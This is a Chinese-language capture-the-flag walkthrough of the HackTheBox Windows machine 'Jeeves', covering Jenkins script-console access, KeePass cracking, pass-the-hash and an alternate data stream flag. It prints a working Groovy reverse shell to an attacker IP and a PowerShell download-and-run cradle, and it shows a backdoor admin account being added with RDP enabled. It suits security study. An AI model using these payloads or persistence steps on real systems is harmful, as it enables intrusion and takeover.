HackTheBox-windows-Jeeves

admin 2021年8月2日22:14:40评论103 views字数 2382阅读7分56秒阅读模式

大余安全  

一个每日分享渗透小技巧的公众号HackTheBox-windows-Jeeves



大家好,这里是 大余安全 的第 66 篇文章,本公众号会每日分享攻防渗透技术给大家。






靶机地址:https://www.hackthebox.eu/home/machines/profile/114

靶机难度:中级(5.0/10)

靶机发布日期:2017年12月20日

靶机描述:

Jeeves is not overly complicated, however it focuses on some interesting techniques and provides a great learning experience. As the use of alternate data streams is not very common, some users may have a hard time locating the correct escalation path.


请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。





一、信息收集


HackTheBox-windows-Jeeves

可以看到靶机的IP是10.10.10.63.....

HackTheBox-windows-Jeeves

nmap发现开放了 IIS server, RPC, Microsoft-ds和Jetty 服务...

HackTheBox-windows-Jeeves

直接对50000端口的http进行爆破,发现存在、/askjeeves目录...80端口没扫到什么有用的...

HackTheBox-windows-Jeeves

访问进来,发现存在Jenkins Manage...应该能上传shell的地方...

HackTheBox-windows-Jeeves

HackTheBox-windows-Jeeves

发下在Script Console存在Jenkins语句写入...



方法1:



HackTheBox-windows-Jeeves

String host="10.10.14.18";int port=6666;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

可以看到,直接获得低权shell...



方法2:


HackTheBox-windows-Jeeves

HackTheBox-windows-Jeeves

cmd = """ powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18/dayu.ps1') """println cmd.execute().txt

可以看到利用nishang脚本进行提权...成功

方然还可以利用nc.exe去提权...等等

HackTheBox-windows-Jeeves

成功获得user.txt信息...

HackTheBox-windows-Jeeves

可以看到在Documents目录,看到CEK.kdbx的文件,本地开smb服务...然后共享过来即可...

HackTheBox-windows-Jeeves

keepass2john CEH.kdbx > dayu.hash使用keepass2john从密钥文件中提取哈希值...然后利用john破解哈希值...

moonshine1

HackTheBox-windows-Jeeves

HackTheBox-windows-Jeeves

获得密码monshine1,可以访问密码管理器了,这里使用keepass2进入密码管理器...成功进入...

HackTheBox-windows-Jeeves

HackTheBox-windows-Jeeves

发现了administrator密码...发现登陆不上去,是错的...

HackTheBox-windows-Jeeves

这里可利用的是Backup的密码,这是Windows NTLM哈希,可以通过哈希值进行攻击...

HackTheBox-windows-Jeeves

可以看到成功通过winexe来执行账号哈希值攻击...成功登录...

HackTheBox-windows-Jeeves

本地并没有看到root.txt,却看到了hm.txt文件...提示说flag在更深处...继续挖坑...

HackTheBox-windows-Jeeves

隐藏在数据流中...

HackTheBox-windows-Jeeves

成功获得了root.txt文件...(虽然完成了任务,但是还没结束...)

最近有人说我文章很水,我很努力了,给你们拓展知识点了...

这是HTB上的靶机,在国外服务器上...我们进去玩玩??

HackTheBox-windows-Jeeves

这里以管理员身份创建了新的用户dayu...然后提升dayu用户的权限...拉倒administrator组里...

HackTheBox-windows-Jeeves

然后在本地启动远程桌面允许...

HackTheBox-windows-Jeeves

最后需要告诉Windows靶机的防火墙允许我们远程桌面连接...

HackTheBox-windows-Jeeves

输入前面创建的用户名密码即可...

HackTheBox-windows-Jeeves

可以看到进来了...就看看哈,别搞事情...





进去太卡了,因为我的网络不是特别好...可以在administrator桌面查看到数据流hm.txt:root.txt文件...利用get-item查看即可...


由于我们已经成功得到root权限查看user.txt和root.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。



如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

HackTheBox-windows-Jeeves
HackTheBox-windows-Jeeves


HackTheBox-windows-Jeeves


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

HackTheBox-windows-Jeeves

大余安全

一个全栈渗透小技巧的公众号

HackTheBox-windows-Jeeves

本文始发于微信公众号(大余安全):HackTheBox-windows-Jeeves

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月2日22:14:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-windows-Jeeveshttps://cn-sec.com/archives/399888.html

发表评论

匿名网友 填写信息